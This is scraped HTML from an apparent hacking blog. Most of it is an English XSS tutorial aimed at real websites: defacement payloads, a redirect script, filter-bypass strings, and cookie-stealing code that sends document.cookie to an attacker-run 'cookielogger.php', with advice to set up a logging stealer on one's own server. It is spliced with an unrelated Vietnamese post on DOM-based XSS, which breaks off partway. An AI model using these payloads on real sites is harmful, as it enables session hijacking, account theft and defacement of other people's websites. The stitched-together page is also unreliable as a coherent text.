Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">or  </span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><a href="http://www.site.com/search.php?q=%3Cbr%3E%3Cbr%3E%3Cb%3E%3Cu%3Eany%20thing%20you%20want%3C/u%3E%3C/b%3E" style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; outline: none; text-align: justify; text-decoration: none;">www.site.com/search.php?q=<br><br><b><u>any thing you want</u></b></a><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">If you see the bold text on the page and newlines then you knows its vuln </span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Example</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8Y-c0o0xTYA3F4-E3VDCUSC-63dzOR1omPOkypWRJ2CO_obTgjB45XW68lFNJJxf4T83kMCgxoVzfNpsVVwLyCsOibmS0iNrwjmYtgbxkS1jJUOACqsgelMk75ukZD-Ltf9P5QFvzWnsB/s1600/cats.jpg" imageanchor="1" style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; outline: none; text-align: justify; text-decoration: none;"><img border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8Y-c0o0xTYA3F4-E3VDCUSC-63dzOR1omPOkypWRJ2CO_obTgjB45XW68lFNJJxf4T83kMCgxoVzfNpsVVwLyCsOibmS0iNrwjmYtgbxkS1jJUOACqsgelMk75ukZD-Ltf9P5QFvzWnsB/s280/cats.jpg" style="-webkit-box-shadow: none; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; box-shadow: none; margin: 0px 4px 4px 0px; max-width: 99%; padding: 0px;" width="280" /></a><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><b style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-size: medium;">Deface Methods</span><span style="font-size: medium;"><span style="font-size: x-small;"> </span></span></b><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Well now you understand how XSS works, we can explain some simple XSS deface methods, there</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">are many ways for defacing i will mention some of the best and most I used,</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"> </span><br />
<blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;">
<html><body><IMG SRC="<a class="smarterwiki-linkify" href="http://site.com/yourDefaceIMAGE.png" style="outline: none; text-decoration: none;">http://site.com/yourDefaceIMAGE.png</a>"></body></html></blockquote>
<br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">the first one being IMG SCR, now for those of you who dont know HTML, IMG SCR is a tag, that</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">displays the IMAGE linked to it on the webpage.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">ok now if u change the link to a valid picture link, and save it and run it you will see your deface page</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">let us say we have have found a Shoutbox, Comment box, or anything that shows your data after you submitted it you could insert the following to make the picture display on the page.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br />
<blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;">
<IMG SRC="<a class="smarterwiki-linkify" href="http://site.com/yourDefaceIMAGE.png" style="outline: none; text-decoration: none;">http://site.com/yourDefaceIMAGE.png</a>"></blockquote>
<br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Ok it helps to make your picture big so it stands out and its clear the site got hacked.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Another method is using FLASH videos, its the same has the method below but a little more stylish deface.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br />
<blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;">
<EMBED SRC="<a class="smarterwiki-linkify" href="http://site.com/xss.swf" style="outline: none; text-decoration: none;">http://site.com/xss.swf</a>"</blockquote>
<br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">that will execute the flash video linked to it.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Now a popup or a redirection</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><script>window.open( "</span><a class="smarterwiki-linkify" href="http://hack2play.blogspot.com/" style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; outline: none; text-align: justify; text-decoration: none;">http://hack2play.blogspot.com</a><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">" )</script></span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><b style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><span style="font-size: medium;"> Cookie Stealing</span></b><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: x-small; line-height: 19px; text-align: justify;">This is the best thing about XSS..</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: x-small; line-height: 19px; text-align: justify;">First Get your self a cookie stealer- from <a href="http://lmgtfy.com/?q=Cookie+stealer" style="outline: none; text-decoration: none;">here</a> </span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">ok now you have it save it has a .php file and upload to your server, remember to create the file 'log.txt' too</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">and chmod it to 777, ok now find a XSS vulnerable website, any attack type will do.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">ok now your gona want to insert this code.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br />
<blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;">
window.location = "<a class="smarterwiki-linkify" href="http://yourserver.com/cookielogger.php?c=" style="outline: none; text-decoration: none;">http://yourServer.com/cookielogger.php?c=</a>"+document.cookie</blockquote>
<br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">or</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br />
<blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;">
document.location = "<a class="smarterwiki-linkify" href="http://yourserver.com/cookielogger.php?c=" style="outline: none; text-decoration: none;">http://yourServer.com/cookielogger.php?c=</a>"+document.cookie</blockquote>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">now when user visits the page that got injected too, they will be sent to the site, and cookie will be stolen</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">the second one is more stealth.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Now it is the time to hijack the cookies</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br />
<blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;">
<span style="color: black;"><a href="http://www.somesite.com/anonymous.php?url=http://site.com/search.php?q=document.location" style="outline: none; text-decoration: none;" target="_blank">http://site.com/search.php?q=document.location</a> = "<a class="smarterwiki-linkify" href="http://yourserver.com/cookielogger.php?c=" style="outline: none; text-decoration: none;">http://yourServer.com/cookielogger.php?c=</a>"+document.cookie</span></blockquote>
<span style="font-family: Arial, Verdana; font-size: medium; line-height: 19px; text-align: justify;"><b> Filteration Bypassing</b></span><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"> </span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Alot of sites may seem vulnerable but not executing the code..This will help you</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Some common methods to bypass filteration is</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">')alert('xss');</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">or</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">");alert('xss');</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">that will do the same thing has <script>alert("XSS")</script> on a vulnerable server.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">You can also try hexing or base64 encoding your data before you submit,</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Please note its bad practice to use alert("XSS") to test for XSS, has ive known sites block the keyword XSS </span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">before.</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Some other ways to bypass filteration</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br />
<blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;">
<script type=text/javascript>alert("XSS")</script><br /><script>alert("XSS")</script>;<br /><script>alert("XSS");</script><br /><script>alert("/XSS"/)</script></blockquote>
<br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><u style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><i>Hope that helped you</i></u><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="background-color: orange; font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Happy Hacking</span>

[TUT] Cross Site Scripting (XSS)

Table Of Contents What is XSS? Finding XSS Vulnerabilities The Basics On XSS Deface Methods Cookie Stealing Filtration Bypassing __________...

XSS có nguy hiểm hay không?

<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Như các bạn đã biết thì <b>Cross Site Scripting</b> (hay còn gọi là <b>XSS</b>) là một lỗi bảo mật cho phép người tấn công (<b>Attacker</b>, <b>Hacker</b>, <b>Pen-tester</b>,…) chèn và thực thi những đoạn mã nguy hiểm vào trong trang web bị dính lỗi. Những đoạn mã được chèn vào có thể là <b>HTML</b>, <b>JavaScript</b> hay thậm chí là những đoạn Text – văn bản thuần, nhưng đa phần sẽ là <b>JavaScript</b>.</span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="FR"><img alt="xss-threat3" class="decoded" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGUWla_za2-d4YismlJShRicgbvDcv4Ijo2kuhD_x49bdkNW3-US4oS28zmTml07UKV7IiKTPuBbauZ_slephvz6TKmA3xKmHmjDcImAF43GWI4PHJ2Bqq3sNp6p4U-Gvd-ngM-FryJMEW/s320/xss-threat3.jpg" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px;" /></span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Nhưng có một sự thật là nhiều người thường nghĩ <b>XSS</b> không hề nguy hiểm (so với các lỗi bảo mật khác như <b>SQL Injection</b>, <b>CSRF</b>,…), có lẽ vì họ nghĩ <b>XSS</b> đơn giản chỉ là tạo ra một hộp thoại thông báo hay chỉ là ghi vài dòng chữ vào trong trang web. Cũng vì lý do đó mà nhiều <b>Web-master</b> thường chủ quan khi không lọc dữ liệu vào – ra (input – output). Hãy nhớ rằng, <b>XSS</b> luôn là một trong những lỗi bảo mật phổ biến thường gặp nhất và luôn nằm trong <b>Top những lỗi bảo mật nguy hiểm</b> xếp ngang hàng với <b>SQL Injection</b> và <b>XSS</b> còn có thể là một trong những tiền đề dẫn tới một cuộc tấn công <b>CSRF</b>. Nếu bạn nghĩ <b>XSS</b> không hề nguy hiểm thì chứng tỏ bạn chưa biết về <b>DOM</b> (</span><span lang="FR">Document Object Model), <b>XSS</b>sẽ thực sự nguy hiểm khi nó trở thành <b>DOM-Base XSS</b>.</span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<br />
<span style="color: black;"><a href="https://www.blogger.com/null" name="more"></a></span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Trong các bài viết trước mình đã từng giới thiệu về <b>XSS</b> và <b>DOM</b> nên mình sẽ không nói lại các khái niệm cơ bản như <b>XSS là gì</b> hay <b>DOM là gì</b>, các bạn tự tìm hiểu thêm nhé. Hôm nay chúng ta sẽ cùng xem một vài ví dụ về hình thức tấn công <b>DOM-Base XSS</b>. Như các bạn đã biết (đặc biệt các <b>Web-master</b>, <b>Developer</b>) thì mọi trang web đều dựa trên <b>DOM</b>, sơ đồ của <b>DOM</b> như sau:</span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc2tr4SYQcaeHGBOltu2AyW8Mq09NQQ8-jlW8djhE6qJ48htTSBIw0vip9unVPsizarUwxKDqfReEtgerafnRxu9cpi-YVZdeYLDqnyKD0nWEKYIex2X_47Wn273vO-auCMy1OU8lYIvrQ/s1600/DOM.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM" border="0" height="318" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc2tr4SYQcaeHGBOltu2AyW8Mq09NQQ8-jlW8djhE6qJ48htTSBIw0vip9unVPsizarUwxKDqfReEtgerafnRxu9cpi-YVZdeYLDqnyKD0nWEKYIex2X_47Wn273vO-auCMy1OU8lYIvrQ/s1600/DOM.PNG" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" width="400" /></span></a></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="VI"></span><span lang="FR"></span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Nếu xét theo khái niệm cơ bản thì <b>XSS</b> là chèn các đoạn mã vào trong trang, ở đây ta xét theo trường hợp là các đoạn mã JavaScript. Sự nguy hiểm của <b>DOM-Base XSS</b> chính là với <b>JavaScript</b>, bạn có thể truy cập và thao tác với mọi đối tượng trong <b>DOM</b>. Sau đây là một vài ví dụ với những đoạn <b>JavaScript</b>cơ bản, trước tiên ta cần giả lập một trang bị dính lỗ hổng bảo mật <b>XSS</b> như sau:</span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="VI"></span><span lang="FR"></span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFc_MG0PXWlX6QSOpwMowFrovIOGckUbA6x-Z_BDEaJjhzZczUw65seUi0mpoIrxCgy2szmXxyz9XGUiGffS48kXMc6PZrHEJAE9379H3mLQwvYQ8jxdo-bEsFXlvQs5m0MzkrVHmfz3mB/s1600/DOM2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM2" border="0" height="285" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFc_MG0PXWlX6QSOpwMowFrovIOGckUbA6x-Z_BDEaJjhzZczUw65seUi0mpoIrxCgy2szmXxyz9XGUiGffS48kXMc6PZrHEJAE9379H3mLQwvYQ8jxdo-bEsFXlvQs5m0MzkrVHmfz3mB/s1600/DOM2.PNG" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" width="400" /></span></a></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="FR">Xem trên trình duyệt:</span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="VI"></span><span lang="FR"></span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLu3YrB5ZJeosFIdMWt433dwfXfsPkNvGNRTKhKa2SXejRD7y6ty7UkfZ8J6Rvb8sNDAKoeM8yWb4VTTKIvbR7JHhvcKSjV0A14hF1G8sXLBG4oyj-TglfeeNNvmpUiBysqQ5A07BB1m9a/s1600/DOM3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM3" border="0" height="189" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLu3YrB5ZJeosFIdMWt433dwfXfsPkNvGNRTKhKa2SXejRD7y6ty7UkfZ8J6Rvb8sNDAKoeM8yWb4VTTKIvbR7JHhvcKSjV0A14hF1G8sXLBG4oyj-TglfeeNNvmpUiBysqQ5A07BB1m9a/s1600/DOM3.PNG" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" width="400" /></span></a></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Trước tiên ta thử đăng một đoạn văn bản nào đó:</span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="VI"></span><span lang="FR"></span></div>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmFEsLGrgr4DlM7KfK641l93QfzozCj52PrI132V9wHQvN9YS7jVBA9GovR37TOXg0j-RT1_p3fovL5NqeLsaSavgeDu6qZXkgItX35uQqFqM2rOELn7ByKf7EHVg-fJ1oJLJ2EB1dydJR/s1600/DOM4.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM4" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmFEsLGrgr4DlM7KfK641l93QfzozCj52PrI132V9wHQvN9YS7jVBA9GovR37TOXg0j-RT1_p3fovL5NqeLsaSavgeDu6qZXkgItX35uQqFqM2rOELn7ByKf7EHVg-fJ1oJLJ2EB1dydJR/s1600/DOM4.PNG" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" /></span></a></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
</div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
